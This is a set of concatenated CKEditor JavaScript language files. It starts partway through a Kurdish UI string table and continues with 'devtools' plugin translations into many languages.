dic_info : 'لهبنچینهدا فهرههنگی بهکارهێنهر کۆگاکردن کراوه له شهکرۆکه Cookie, ههرچۆنێك بێت شهکۆرکه سنووردار کراوه له قهباره کۆگاکردن.کاتێك فهرههنگی بهکارهێنهر گهیشته ئهم خاڵهی کهناتوانرێت زیاتر کۆگاکردن بکرێت له شهکرۆکه، ئهوسا فهرههنگهکه پێویسته کۆگابکرێت له ڕاژهکهی ئێمه. بۆ کۆگاکردنی زانیاری تایبهتی فهرههنگهکه له ڕاژهکهی ئێمه, پێویسته ناوێك ههڵبژێریت بۆ فهرههنگهکه. گهر تۆ فهرههنگێکی کۆگاکراوت ههیه, تکایه ناوی فهرههنگهکه بنووسه وه کلیکی دوگمهی گهڕاندنهوه بکه.',
aboutTab : 'دهربارهی'
},
about :
{
title : 'دهربارهی CKEditor',
dlgTitle : 'دهربارهی CKEditor',
help : 'سهیری $1 بکه بۆ یارمهتی.',
userGuide : 'ڕێپیشاندهری CKEditors',
moreInfo : 'بۆ زانیاری زیاتری مۆڵهت, تکایه سهردانی ماڵپهڕهکهمان بکه:',
copy : 'مافی لهبهرگرتنهوهی © $1. گشتی پارێزراوه.'
},
maximize : 'ئەوپهڕی گەورەیی',
minimize : 'ئەوپەڕی بچووکی',
fakeobjects :
{
anchor : 'لهنگهر',
flash : 'فلاش',
iframe : 'لهچوارچێوه',
hiddenfield : 'شاردنهوهی خانه',
unknown : 'بهرکارێکی نهناسراو'
},
resize : 'ڕابکێشە بۆ گۆڕینی قەبارەکەی',
colordialog :
{
title : 'ههڵبژاردنی ڕهنگ',
options : 'ههڵبژاردهی ڕهنگهکان',
highlight : 'نیشانکردن',
selected : 'ههڵبژاردرا',
clear : 'پاککردنهوه'
},
toolbarCollapse : 'شاردنەوی هێڵی تووڵامراز',
toolbarExpand : 'نیشاندانی هێڵی تووڵامراز',
toolbarGroups :
{
document : 'پهڕه',
clipboard : 'بڕین/پووچکردنهوه',
editing : 'چاکسازی',
forms : 'داڕشته',
basicstyles : 'شێوازی بنچینهیی',
paragraph : 'بڕگه',
links : 'بهستهر',
insert : 'خستنه ناو',
styles : 'شێواز',
colors : 'ڕهنگهکان',
tools : 'ئامرازهکان'
},
bidi :
{
ltr : 'ئاراستهی نووسه لهچهپ بۆ ڕاست',
rtl : 'ئاراستهی نووسه لهڕاست بۆ چهپ'
},
docprops :
{
label : 'خاسییهتی پهڕه',
title : 'خاسییهتی پهڕه',
design : 'شێوهکار',
meta : 'زانیاری مێتا',
chooseColor : 'ههڵبژێره',
other : 'هیتر...',
docTitle : 'سهردێڕی پهڕه',
charset : 'دهستهی نووسهی بهکۆدهکهر',
charsetOther : 'دهستهی نووسهی بهکۆدهکهری تر',
charsetASCII : 'ASCII',
charsetCE : 'ناوهڕاست ئهوروپا',
charsetCT : 'چینی(Big5)',
charsetCR : 'سیریلیك',
charsetGR : 'یۆنانی',
charsetJP : 'ژاپۆن',
charsetKR : 'کۆریا',
charsetTR : 'تورکیا',
charsetUN : 'Unicode (UTF-8)',
charsetWE : 'ڕۆژئاوای ئهوروپا',
docType : 'سهرپهڕهی جۆری پهڕه',
docTypeOther : 'سهرپهڕهی جۆری پهڕهی تر',
xhtmlDec : 'بهیاننامهکانی XHTML لهگهڵدابێت',
bgColor : 'ڕهنگی پاشبنهما',
bgImage : 'ناونیشانی بهستهری وێنهی پاشبنهما',
bgFixed : 'بێ هاتووچوپێکردنی (چهسپاو) پاشبنهمای وێنه',
txtColor : 'ڕهنگی دهق',
margin : 'تهنیشت پهڕه',
marginTop : 'سهرهوه',
marginLeft : 'چهپ',
marginRight : 'ڕاست',
marginBottom : 'ژێرهوه',
metaKeywords : 'بهڵگهنامهی وشهی کاریگهر(به کۆما لێکیان جیابکهوه)',
metaDescription : 'پێناسهی لاپهڕه',
metaAuthor : 'نووسهر',
metaCopyright : 'مافی بڵاوکردنهوهی',
previewHtml : '<p>ئهمه وهك نموونهی <strong>دهقه</strong>. تۆ بهکاردههێنیت <a href="javascript:void(0)">CKEditor</a>.</p>'
}
};
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('devtools','cs',{devTools:{title:'Informace o prvku',dialogName:'Název dialogového okna',tabName:'Název karty',elementId:'ID prvku',elementType:'Typ prvku'}});
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('devtools','eo',{devTools:{title:'Informo pri la elemento',dialogName:'Nomo de la dialogfenestro',tabName:'Langetnomo',elementId:'ID de la elemento',elementType:'Tipo de la elemento'}});
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('devtools','bg',{devTools:{title:'Информация за елемента',dialogName:'Име на диалоговия прозорец',tabName:'Име на таб',elementId:'ID на елемента',elementType:'Тип на елемента'}});
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('devtools','sk',{devTools:{title:'Informácie o prvku',dialogName:'Názov okna dialógu',tabName:'Názov záložky',elementId:'ID prvku',elementType:'Typ prvku'}});
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('devtools','pl',{devTools:{title:'Informacja o elemencie',dialogName:'Nazwa okna dialogowego',tabName:'Nazwa zakładki',elementId:'ID elementu',elementType:'Typ elementu'}});
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('devtools','nl',{devTools:{title:'Elementinformatie',dialogName:'Naam dialoogvenster',tabName:'Tabnaam',elementId:'Element ID',elementType:'Elementtype'}});
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('devtools','da',{devTools:{title:'Information på elementet',dialogName:'Dialogboks',tabName:'Tab beskrivelse',elementId:'ID på element',elementType:'Type af element'}});
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('devtools','tr',{devTools:{title:'Eleman Bilgisi',dialogName:'İletişim pencere ismi',tabName:'Sekme adı',elementId:'Eleman ID',elementType:'Eleman türü'}});
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('devtools','de',{devTools:{title:'Elementinformation',dialogName:'Dialogfenstername',tabName:'Reitername',elementId:'Element ID',elementType:'Elementtyp'}});
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('devtools','fi',{devTools:{title:'Elementin tiedot',dialogName:'Dialogi-ikkunan nimi',tabName:'Välilehden nimi',elementId:'Elementin ID',elementType:'Elementin tyyppi'}});
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('devtools','vi',{devTools:{title:'Thông tin thành ph',dialogName:'Tên hộp tho',tabName:'Tên th',elementId:'Mã thành ph',elementType:'Loại thành ph'}});
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('devtools','cy',{devTools:{title:'Gwybodaeth am yr Elfen',dialogName:'Enw ffenestr y deialog',tabName:"Enw'r tab",elementId:'ID yr Elfen',elementType:'Math yr elfen'}});
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('devtools','nb',{devTools:{title:'Elementinformasjon',dialogName:'Navn på dialogvindu',tabName:'Navn på fane',elementId:'Element-ID',elementType:'Elementtype'}});
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('devtools','ug',{devTools:{title:'ئېلېمېنت ئۇچۇرى',dialogName:'سۆزلەشكۈ كۆزنەك ئاتى',tabName:'Tab ئاتى',elementId:'ئېلېمېنت كىملىكى',elementType:'ئېلېمېنت تىپى'}});
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('devtools','el',{devTools:{title:'Πληροφορίες Στοιχείου',dialogName:'Όνομα παραθύρου διαλόγου',tabName:'Όνομα καρτέλας',elementId:'ID Στοιχείου',elementType:'Τύπος στοιχείου'}});
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'devtools', 'fa',
{
devTools :
{
title : 'اطلاعات عنصر',
dialogName : 'نام پنجره محاورهای',
tabName : 'نام برگه',
elementId : 'ID عنصر',
elementType : 'نوع عنصر'
}
});
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('devtools','no',{devTools:{title:'Elementinformasjon',dialogName:'Navn på dialogvindu',tabName:'Navn på fane',elementId:'Element-ID',elementType:'Elementtype'}});
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'devtools', 'ku',
{
devTools :
{
title : 'زانیاری توخم',
dialogName : 'ناوی پهنجهرهی دیالۆگ',
tabName : 'ناوی بازدهر تاب',
elementId : 'ناسنامهی توخم',
elementType : 'جۆری توخم'
}
});
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('devtools','en',{devTools:{title:'Element Information',dialogName:'Dialog window name',tabName:'Tab name',elementId:'Element ID',elementType:'Element type'}});
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('devtools','hr',{devTools:{title:'Informacije elementa',dialogName:'Naziv prozora za dijalog',tabName:'Naziva jahača',elementId:'ID elementa',elementType:'Vrsta elementa'}});
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('devtools','uk',{devTools:{title:'Відомості про Елемент',dialogName:'Заголовок діалогового вікна',tabName:'Назва вкладки',elementId:'Ідентифікатор Елемента',elementType:'Тип Елемента'}});
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('devtools','it',{devTools:{title:'Informazioni elemento',dialogName:'Nome finestra di dialogo',tabName:'Nome Tab',elementId:'ID Elemento',elementType:'Tipo elemento'}});
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('devtools','gu',{devTools:{title:'પ્રાથમિક માહિતી',dialogName:'વિન્ડોનું નામ',tabName:'ટેબનું નામ',elementId:'પ્રાથમિક આઈડી',elementType:'પ્રાથમિક પ્રકાર'}});
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('devtools','he',{devTools:{title:'מידע על האלמנט',dialogName:'שם הדיאלוג',tabName:'שם הטאב',elementId:'ID של האלמנט',elementType:'סוג האלמנט'}});
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('devtools','et',{devTools:{title:'Elemendi andmed',dialogName:'Dialoogiakna nimi',tabName:'Saki nimi',elementId:'Elemendi ID',elementType:'Elemendi liik'}});
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('devtools','pt-br',{devTools:{title:'Informação do Elemento',dialogName:'Nome da janela de diálogo',tabName:'Nome da aba',elementId:'ID do elemento',elementType:'Tipo do elemento'}});
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('devtools','fr',{devTools:{title:"Information sur l'élément",dialogName:'Nom de la fenêtre de dialogue',tabName:"Nom de l'onglet",elementId:"ID de l'élément",elementType:"Type de l'élément"}});
| JavaScript |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.